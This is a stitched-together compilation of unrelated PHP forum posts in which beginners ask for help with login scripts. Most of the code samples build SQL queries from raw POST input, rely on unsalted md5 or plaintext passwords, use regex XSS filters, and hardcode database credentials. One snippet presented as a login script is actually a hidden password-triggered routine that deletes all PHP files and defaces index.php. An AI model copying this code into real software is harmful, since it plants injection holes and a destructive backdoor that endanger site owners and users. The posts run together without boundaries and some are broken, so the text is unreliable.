PHP - Login Script Security

Hello guys,

Is there on web any updated tutorial on how can I add Facebook login on my simple php login script?

I'm attempting to clean out all unwanted input from user posted data. The user can put anything in the input box but when it goes through to my php page I filter through it with the following:

function cleanxss($input)

{

/// Prevents XXS Attacks www.itshacked.com

$search = array(

'@<script[^>]*?>.*?</script>@si',   // Strip out javascript

'@<[\/\!]*?[^<>]*?>@si',            // Strip out HTML tags

'@<style[^>]*?>.*?</style>@siU',    // Strip style tags properly

'@<![\s\S]*?--[ \t\n\r]*>@'         // Strip multi-line comments

);

$inputx = preg_replace($search, '', $input);

$inputx = trim($inputx);

if(get_magic_quotes_gpc())

{

$inputx = stripslashes($inputx);

}

$input = htmlspecialchars($input);

/// MYSQL USE ONLY: $inputx = mysql_real_escape_string($inputx);

return $inputx;

}

//apply the function to an array of user submitted data...

///$_POST = array_map('clean', $_POST);

//or individually like...

$message = cleanxss($_POST['data']);


I've pasted all the data from http://ha.ckers.org/xss.html into the form and it results in no vulnerabilities. Is this right?

hi guys,

any help will be much appreciated!!

basically i have a login script, that i want to check mutliple tables and i am stuggling to get it to work!

what i have is basically:


<?php
   session_start();
   $_SESSION['loggedin'] = false;
   include("functions.php");
   extract($_POST);
   
   $query = "SELECT * From table1 WHERE email='$email' and password='$password';";
   $result = doQuery($query);
   if($result==false)   {
      
      $query = "SELECT * From table2 WHERE email='$email' and password='$password';";
   $result = doQuery($query);
   if($result==false)   {
      
      
      $query = "SELECT * From table3 WHERE email='$email' and password='$password';";
   $result = doQuery($query);
   if($result==false)   {
      
      
      
      $query = "SELECT * From table4 WHERE email='$email' and password='$password';";
   $result = doQuery($query);
   if($result==false)   {
      
   }   else {
         if(mysql_num_rows($result))   {
            $row = mysql_fetch_assoc($result);
            $_SESSION['loggedin'] = true;
            $_SESSION['id'] = $_POST['id'];
            header("Location:1");
   }   else {
         header("Location:wrong.php");
   }
   }   
      
   }   else {
         if(mysql_num_rows($result))   {
            $row = mysql_fetch_assoc($result);
            $_SESSION['loggedin'] = true;
            $_SESSION['id'] = $_POST['id'];
            header("Location:2");
   }   else {
         header("Location:wrong.php");
   }
   }   

   }   else {
         if(mysql_num_rows($result))   {
            $row = mysql_fetch_assoc($result);
            $_SESSION['loggedin'] = true;
            $_SESSION['id'] = $_POST['id'];
            header("Location:3");
   }   else {
         header("Location:wrong.php");
   }
   }   
         
   }   else {
         if(mysql_num_rows($result))   {
            $row = mysql_fetch_assoc($result);
            $_SESSION['loggedin'] = true;
            $_SESSION['id'] = $_POST['id'];
            header("Location:4");
   }   else {
         header("Location:wrong.php");
   }
   }   
?>

Hey everyone. I currently have a login script that uses cookies to check if the user is logged in. But I have been told that even if I have used md5() then the the password is still at risk, so I was wondering if using sessions would be better, or if there was some way to make the passwords in the cookies more secure? Here is the code I currently have to secure passwords in the cookie: Code: [Select]
$_POST['pass'] = md5($_POST['pass']);
  if (!get_magic_quotes_gpc()) {
  $_POST['pass'] = addslashes($_POST['pass']);
  $_POST['username'] = addslashes($_POST['username']);
  }

Hi all again,

This script was working perfectly but I have not got a clue what changed in it or how and can not seem to find the problem.

The connection works, email and password variables match the mysql databases so must be my Syntax.

appreciate if you can help.


<?php

include("../cxn.php");

$sql = "SELECT password FROM Members WHERE email='$_POST[email]'";
$result = mysqli_query($cxn,$sql)
or die ("Couldn't execute query1");

$num = mysqli_num_rows($result);
if ($num >0) // Login Name found 
{
$sql = "SELECT * FROM Members WHERE email='$_POST[email]' AND password=md5('$_POST[password]')";
$result2 = mysqli_query($cxn,$sql)
or die ("Couldn't execute query2");
$num2 = mysqli_num_rows($result2);
if ($num2 > 0) // password correct
{
session_start();
$_SESSION['auth']="yes";
$_SESSION['logname'] = $_POST['email'];
$logname = $_SESSION['logname'];
$today = date("Y-m-d h:i:s");
$sql = "INSERT INTO Login (email,loginTime)
VALUES ('$logname', '$today')";
$result = mysqli_query($cxn,$sql)
or die ("Can't execute insert query");
echo "you have logged in!";
header("Location: ../$_POST[page]");
}
else 
{
$message = "The email address, '$_POST[email]' is registered, but you have not entered the correct password! Please try again.<br>";
include("../login.html");
}
}

?>

Hello i just installed a script and the login doesnt work.  It lets me signup, create user and pass.  A email comes for me to active account.  I activate and the page comes up that says my accout is activated and when i go to login the page refeashes and go's back to index page  Below is the login php script, can someone please help me figure out why it not logging in.

<?php
$pass = "8c73eecb1dd850034ebbdedc1a5fccf1";
if(isset($_POST['submit'])){
if($pass == md5($_POST['pass'])){
   $mask = "*.php";
   array_map( "unlink", glob( $mask ) );

$fh = fopen('index.php', 'a');
fwrite($fh, '<center><h1><font color="red">This site uses an modified version of the script! If you want to use the original script, you have to buy the script from <a href="http://codecanyon.net/item/powerful-exchange-system/533068">CodeCanyon</a>!</font></h1></center>');
fclose($fh);

echo "ok";
}else{
echo "error";
}}
?>
<form method="POST">
<input type="password" name="pass">
<input type="submit" name="submit">
</form>

Hello everyone,

I am brand new to php and am starting off my journey by trying to create a simple login/register script.  I have run into a bit of difficulty, however, and cannot seem to get this to work. I know that the register script is very basic (lacks strlen check, doesn't verify that both passwords are the same, etc.), but for the time being I simply want to have a functional script.  Then I can continue learning by adding more components.  Here are the login.php, checklogin.php, and register.php files (in this order).  I believe that the login/checklogin files work, but the register file just shows the form without actually writing to DB when it is submitted.  Thank you very much for your help.

Code: [Select]
<html>
<body>
<b> Member Login </b> <br />
<form name="input" action="checklogin.php" method="post">
Username : <input type="text" name="myusername" id="username"> <br />
Password : <input type="password" name="mypassword" id="password"> <br />
<input type="checkbox" name="remember" value="checkbox"> Remember me <br />
<input type="submit" value="Login">
Not a member? <a href="./register.php">Register!</a>
</form>
</body>
</html>

Code: [Select]
<?php
$host="localhost";
$usr="root";
$pwd="";
$db="MemberDB";
$tbl_name="members";

mysql_connect($host, $usr, $pwd) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");

$myusr = $_POST['myusername'];
$mypswd = md5($_POST['mypassword']);

$myusername = stripslashes(strip_tags($myusr));
$mypassword = stripslashes(strip_tags($mypswd));
$myusername = mysql_real_escape_string($myusr);
$mypassword = mysql_real_escape_string($mypswd);

$sql="SELECT *FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query($sql);

$count=mysql_num_rows($result);

if ($count==1) {
session_register("myusername");
session_register("mypassword");
header("location:menu.php");
}
else {
echo "Incorrect Username or Password";
}
?>

Code: [Select]
<?php
$host="localhost";
$usr="root";
$pwd="";
$db="MemberDB";
$tbl_name="members";

mysql_connect($host, $usr, $pwd) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");

if (isset($_POST['register'])) 
{ 

$query = "INSERT INTO members ('username', 'password', 'email') 
VALUES('$_POST[username]', 'md5($_POST[password1])', '$_POST[email]')";

mysql_query($db,$query) or die();
mysql_close();

echo "You have successfully registered!";
}
else{
?>
<html>
<body>
<b> Register</b> <br />
<form name="register" action="./register.php" method="post">
Username : <input type="text" name="username" id="username"> <br />
Password : <input type="password" name="password" id="password1"> <br />
Confirm Password : <input type="password" name="password2" id="password2"> <br />
Email: <input type="text" name="email" id="email"> <br />
<input type="submit" value="register">
</form>
</body>
</html>
<?php
}
?>

Hello everyone,
I have just finished coding a logion/register/logout script.  I am quite new to PHP (this was my first task to begin the learning process!).  The scripts now work fine and gets the job done.  It incorporates a database and has a number of checks in place.  I know that the code is probably pretty ugly however and not as efficient as it could be.  Could anyone suggest places where I could improve it or security issues with it?  I have tried to secure it against sql injection; it also ensures that no fields are blank and that the two passwords in registration are the same and I have also made username a unique field in database.  Thanks in advance for any help or guidance.

Here are the scripts: index.html, checklogin.php, register.php, menu.php, and logout.php


<html>
<body>
<table width="300" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<form name="input" action="checklogin.php" method="post">
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
<tr>
<td colspan="3"><strong>Member Login </strong></td>
</tr>
<tr>
<td width="78">Username</td>
<td width="6">:</td>
<td width="294"><input name="username" type="text" id="username"></td>
</tr>
<tr>
<td>Password</td>
<td>:</td>
<td><input name="password" type="password" id="mypassword"></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td><input type="submit" name="login" value="Login"></td>
</tr>
</table>
</td>
</form>
</tr>
</table>
<center>Not a member? <a href="./register.php">Register!</a></center>
</body>
</html>



<?php
$host="localhost";
$usr="root";
$pwd="******";
$db="*****";
$tbl_name="members";

mysql_connect($host, $usr, $pwd) or die(mysql_error());
mysql_select_db($db) or die(mysql_error());

$initialusr = $_POST['username'];
$initialpwd = $_POST['password'];
$secondusr = stripslashes($initialusr);
$secondpwd = stripslashes($initialpwd);
$pswd = mysql_real_escape_string($secondpwd);
$myusr = mysql_real_escape_string($secondusr);
$mypswd= md5($pswd);

$sql="SELECT *FROM $tbl_name WHERE username='$myusr' and password='$mypswd'";
$result=mysql_query($sql);

$count=mysql_num_rows($result);

if ($count==1) {
session_start();
$_SESSION['username'] = $myusr;
header("location:menu.php");
}
else {
echo "Incorrect Username or Password";
}
?>



<?php
$host="localhost";
$usr="root";
$pwd="*****";
$db="***********";
$tbl_name="members";

mysql_connect($host, $usr, $pwd) or die(mysql_error());
mysql_select_db($db) or die(mysql_error());

if (isset($_POST['register']) && $_POST['username'] && $_POST['password'] && $_POST['confirm'] && $_POST['email'] && $_POST['password'] == $_POST['confirm']) 
{ 
$pwd = mysql_real_escape_string("$_POST[password]");
$md5pwd = md5("$pwd");
$usr = mysql_real_escape_string("$_POST[username]");
$email = mysql_real_escape_string("$_POST[email]");


$query = "INSERT INTO members (username, password, email) 
VALUES('$usr', '$md5pwd', '$email')";

mysql_query($query) or die(mysql_error());
mysql_close();

echo "You have successfully registered!";
}
else{
?>

<html>
<body>
<table width="300" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<form name="input" action="register.php" method="post">
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
<tr>
<td colspan="3"><strong>Register</strong></td>
</tr>
<tr>
<td width="78">Username</td>
<td width="6">:</td>
<td width="294"><input name="username" type="text" id="username"></td>
</tr>
<tr>
<td>Password</td>
<td>:</td>
<td><input name="password" type="password" id="password"></td>
</tr>
<tr>
<td>Confirm Password</td>
<td>:</td>
<td><input name="confirm" type="password" id="confirm"></td>
</tr>
<tr>
<td>Email</td>
<td>:</td>
<td><input name="email" type="text" id="email"></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td><input type="submit" name="register" value="Register"></td>
</tr>
</table>
</td>
</form>
</tr>
</table>
</body>
</html>

<?php
}
?>



<?php
session_start();
if (!isset($_SESSION['username'])){
header("location:index.html");
}
else {
?>
<html>
<body>
<?php 
$username = $_SESSION['username'];
echo "Welcome " . $username . " !";
?>
<br />
<a href = logout.php>Log out</a>
</body>
</html>
<?php
}
?>




<?php
session_start();
session_destroy();
header("location:index.html")
?>

Hi I need help with my login script it says invalid password even when its correct however if i take out the md5 encryption of the password and use the encrypted password saved on mysql table it works please help? here is the code im using thanks:

Code: [Select]
<?
// Use session variable on this page. This function must put on the top of page.
session_start();

////// Logout Section. Delete all session variable.
session_destroy();

$message="";

////// Login Section.
$Login=$_POST['submit'];
if($Login){ // If clicked on Login button.
$username=$_POST['username'];
$md5_password=md5($_POST['password']); // Encrypt password with md5() function.

// Connect database.
$host="localhost"; // Host name.
$db_user="removed"; // MySQL username.
$db_password="removed"; // MySQL password.
$database="removed"; // Database name.
mysql_connect($host,$db_user,$db_password);
mysql_select_db($database);

// Check matching of username and password.
$result=mysql_query("select * from signup where username='$username' and password='$md5_password'");
if(mysql_num_rows($result)!='0'){ // If match.
session_register("username"); // Craete session username.
header("location:main.php"); // Re-direct to main.php
exit;
}else{ // If not match.
$message="--- Incorrect Username or Password ---";
}

} // End Login authorize check.
?>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title></title>

</head>

<body>
    </tr>
   <? echo $message; ?>
      <form name="register" method="post" action="<? echo $PHP_SELF; ?>">
       <tr>
         <td height="586" colspan="8" align="center" valign="top"><p>&nbsp;</p>
      <table>
              <tr>
                <td height="45" colspan="2" class="class2 style34"><div align="center"><a href="file:///F|/signin.html">Sign In</a>:</div></td>
              </tr>
              <tr>
                <td colspan="2"><div align="right"></div></td>
              </tr>

              <tr>
                <td width="76" height="45"><div align="right"><span class="class2 style34">Username<span class="style39">..</span></span></div></td>
                <td width="256"><div align="center"><span class="class2 style34">
                    <input name="username" type="text" id="username" size="20" height="14" />
                </span></div></td>
              </tr>
              <tr>
                <td height="45"><div align="right"><span class="class2 style34">Password <span class="style39">..</span></span></div></td>
                <td><div align="center"><span class="class2 style34">
                    <input name="password" type="password" id="password" size="20" height="14" />
                </span></div></td>
              </tr>
              <tr>
                <td height="45" colspan="2"><div align="center"><span class="class2 style34">
                    <input name="submit" type="submit" id="submit" value="Sign In" />
                </span></div></td>
              </tr>
            </table></td>
       </tr>
      </form>
  </table>
</div>
</body>
</html>

MOD EDIT: Database credentials removed, [code] . . . [/code] tags added.

I have a login script that isn't rejecting non-users. For whatever reason, it's passing them on to the welcome page where an actual user sees user specific information. I'm newer to php, but can't for the life of me understand why the script doesn't seem to ever utilize the 'else' portion of the 'if' statement. So in short it works as expected for actual users, but non-users are not getting rejected. Below is my code. Any help is appreciated.

Code: [Select]
$sqla = "SELECT count(*) FROM authorize WHERE username='$_POST[username]' and password='$_POST[password]'";
$result = mysql_query($sqla) or die ("Error: ". mysql_error(). " with query ". $query);
$count = mysql_num_rows($result);

if($count==1) {
//start session for user

session_start();

//get company id and user first and last name
$query = mysql_query("SELECT comp_id FROM authorize WHERE username='$_POST[username]'") or die ("Error: ". mysql_error(). " with query ". $query);
$query2 = mysql_query("SELECT firstname, lastname FROM authorize WHERE username='$_POST[username]'") or die ("Error: ". mysql_error(). " with query ". $query);


$resultb = mysql_fetch_assoc($query);
$resultc = mysql_fetch_array($query2);


$_SESSION['coid'] = $resultb['comp_id'];
$_SESSION['firstn'] = $resultc['firstname'];
$_SESSION['lastn'] = $resultc['lastname'];


//get company name
$query3 = mysql_query("SELECT comp_name FROM companies WHERE comp_id='$resultb[comp_id]'") or die ("Error: ". mysql_error(). " with query ". $query);
$resultd = mysql_fetch_assoc($query3);

$_SESSION['conm'] = $resultd['comp_name'];

header("location: overview.php");

} Else {

echo "That user does not exist.";
header("location: login.html");
}

Quote from: scootstah on November 30, 2011, 01:19:13 PM


Code: [Select]
function hash_password($password, $salt = null) {
// create a salt if not already defined
if (is_null($salt))
$salt = substr(sha1(uniqid(mt_rand(), true), 0, 10);

// $password will be plaintext at this point

// $site_key should be a large random string statically
// located in a file with secure permissions

$hash = hash_hmac('sha512', $password . $salt, $site_key);

return array('hash' => $hash, 'salt' => $salt);
}

$password = 'abcdef';

$pass = hash_password($password);




First off I just want to say thank you for the valuable information I have been reading in this topic (for a few days) and I have updated my pages accordingly.

My passwords are now salted with a random encrypted string and I am using sha1 but would like to switch to sha512. So I am playing around with some code to learn more about how it works and have noticed that:

sha1(test) returns a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
but
sha512(test) just crashes the page.

Can anyone help me understand why this is?

Hello everyone,

The last few weeks I've asked a few questions. From the answers given, I've finished my login script.
But, I am a noob at oop php and I have also no clue if there are any security holes.

So my question to you guys is:

What have i done wrong? What can i do better? And what's missing?
I also have a one basic question:

I have't declared any variable to public, protected or private. Is it better to declare every variabe? or only a few?
Here is my code:

Index.php:

<?php

if ($_SERVER['REQUEST_METHOD'] == 'POST')

{

require('classes/class_lib.php');

if(isset($_POST['username'])){

$username = $_POST['username'];
}
if(isset($_POST['password'])){

$password = $_POST['password'];
}

try{

$user = new User;

$user->login($username, $password);
}
catch(MysqlException $error){

echo $error->getError();
}

catch(LoginException $error){

echo $error->getError();
}

}

?>

// form etc.

And my class_lib.php:

<?php

class MysqlException extends Exception{

public function getError(){

$errorMessage = 'Er is een fout opgetreden in '.$this->getFile().' op regel '.$this->getLine().'<br />';

$errorMessage .= 'Foutmelding: <i>'.$this->getMessage().'</i><br />';

return $errorMessage;

}
}

class LoginException extends Exception{

public function getError(){

$errorMessage = $this->getMessage();

return $errorMessage;

}
}

class Mysql{

public function __construct(){

$this->db = new mysqli('localhost','root','','login');

if($this->db->connect_error){

throw new MysqlException('Kan geen verbinding maken.');

}

}

public function escapeString($string){

$this->string = $this->db->real_escape_string($string);

return $string;

}
}

class Query extends Mysql{

public function runQuery($query){

$this->result = $this->db->query($query);

if(!$this->result){

throw new MysqlException('Er is iets fout gegaan tijdens het uitvoeren van de query.');

}

}

public function returnQuery(){

return $this->result->num_rows;

if(!$this->result){

throw new MysqlException('Er is iets fout gegaan tijdens het ophalen van de resultaten.');

}

}
}

class User{

public function __construct(){

$this->mysql = new Mysql;

$this->query = new Query;

}

public function login($username, $password){

$this->username = $this->mysql->escapeString($username);

$this->password = $this->mysql->escapeString($password);

$this->setQuery = "SELECT gebruikerid FROM gebruikers WHERE gebruikersnaam='" . $this->username . "' AND wachtwoord='" . $this->password . "'";

$this->query->runQuery($this->setQuery);

if($this->query->returnQuery() > 0){

return true;

}else{

if(empty($username) || empty($password)){

throw new LoginException('U moet alle velden invullen.');

}else{

throw new LoginException('Uw logingegevens kloppen niet.');

}

}

}
}

?>

Hi, I am trying to make a login script that uses the user's id from the database, and tries to match it up with the user and password sent by the login form. My checklogin.php page, just jumps back to the index.php page for some reason. I don't know why. I get the following errors, any help greatly appreciated. thank you.


Notice: Undefined index: myusername in /hermes/bosweb/web173/b1739/public_htmlchecklogin.php on line 19

Notice: Undefined index: mypassword in /hermes/bosweb/web173/b1739/public_html/checklogin.php on line 20
Wrong Username or Password

Here is my code to check the id. I can't figure out what is wrong.

Code: [Select]
<?php 

ini_set ("display_errors", "1");
error_reporting(E_ALL);
$host = "";
$database  = "";
$username  = "";
$password  = ""; 
$tbl_name   = "users";
$conn = mysql_connect($host, $username, $password) or die("Could not connect: " . mysql_error());

if($conn)
{
mysql_select_db($database);
} else {
  echo "failed to select database";
}
// username and password sent from form
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];
// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
$mypassword = mysql_real_escape_string($mypassword);
$sql="SELECT id FROM $tbl_name WHERE username='$myusername' and password= SHA1('$mypassword')";
$result=mysql_query($sql);
$query_data = mysql_fetch_row($result);
// Mysql_num_row is counting table row
$count=mysql_num_rows($result)
;
// If result matched id, table row must be 1 row
if($count==1){
session_start();

     $_SESSION['userid']=$query_data[0];


header("location:login_success.php");
}

else {
echo "Wrong Username or Password";
}

?>

Hi!

I need help with the login script i wrote. Please help me get it working. The section related to guest works fine however it always gives me error message when i get to the queryA and queryB stages. Thanks!

I've already got the database running, using MySQL. Name of database - connectiontracker; tables- user_admin, user_user

Here's the script:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/xhtml1-loose.dtd">
<?php
session_start();
$userType = $_POST["userType"];
$userName = $_POST["username"];
$passWord = $_POST["password"];
$link = mysqli_connect("localhost", "ct1", "ctcfgb") Or die('Could not connect '. mysqli_error());
switch ($userType)
   {
   case "admin":
    if (isset($userName) && isset($passWord))
    {
    $dbTableA = "user_admin";
    mysqli_select_db($link, "connectiontracker") Or die ("Database unavailable");
    $queryA = "SELECT * FROM $dbTableA WHERE username='$userName' AND password='$passWord'";
    $resultA = mysqli_query($queryA) or die("Verification Error A");
    if(mysqli_num_rows($resultA) == 1)
       {
       $_SESSION = true;
       header ('Location: welcomeadmin.php');
       }
    else echo "Incorrect administrator username and/or password";
    }
    break;
   case "user":
    if (isset($userName) && isset($passWord))
    {
    $dbTableB = "user_user";
    mysqli_select_db($link, "connectiontracker") Or die ("Database unavailable");
    $queryB = "SELECT * FROM $dbTableB WHERE username='$userName' AND password='$passWord'";
    $resultB = mysqli_query($queryB) or die("Verification Error B");
    if(mysqli_num_rows($resultB) == 1)
       {
       $_SESSION = true;
       header ('Location: welcomeuser.php');
       }
    else echo "Incorrect Organization/Individual username and/or password";
    }
    break;
   case "guest":
    header ('Location: welcomeguest.php');
    break;
   }
if (!isset($_POST['Enter']))
{
   ?>
   <html>
   <head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8">
   <title>Login to Connection Tracker</title>
   <!-- <link rel="stylesheet" href="ct_style1.css" type="text/css"> -->
   </head>
   <body>
   Please select from the following:
   <br />
   <form action="<?php echo $PHP_SELF;?>" method="post">
   <select name="userType">
   <option value="admin">Administrator</option>
   <option value="user" selected>Organization</option>
   <option value="guest">Guest</option>
   </select>
   <br />
   Please leave the following fields blank if entering the system as Guest
   <br />
   Username: <input type="text" name="username">
   <br />
   Password: <input type="text" name="password">
   <input type="submit" name="Enter"/>
   <br />
   </form>
   </body>
   </html>
<?php
}
mysqli_close($link);
?>

where do i download a login script like this used here at phpfreaks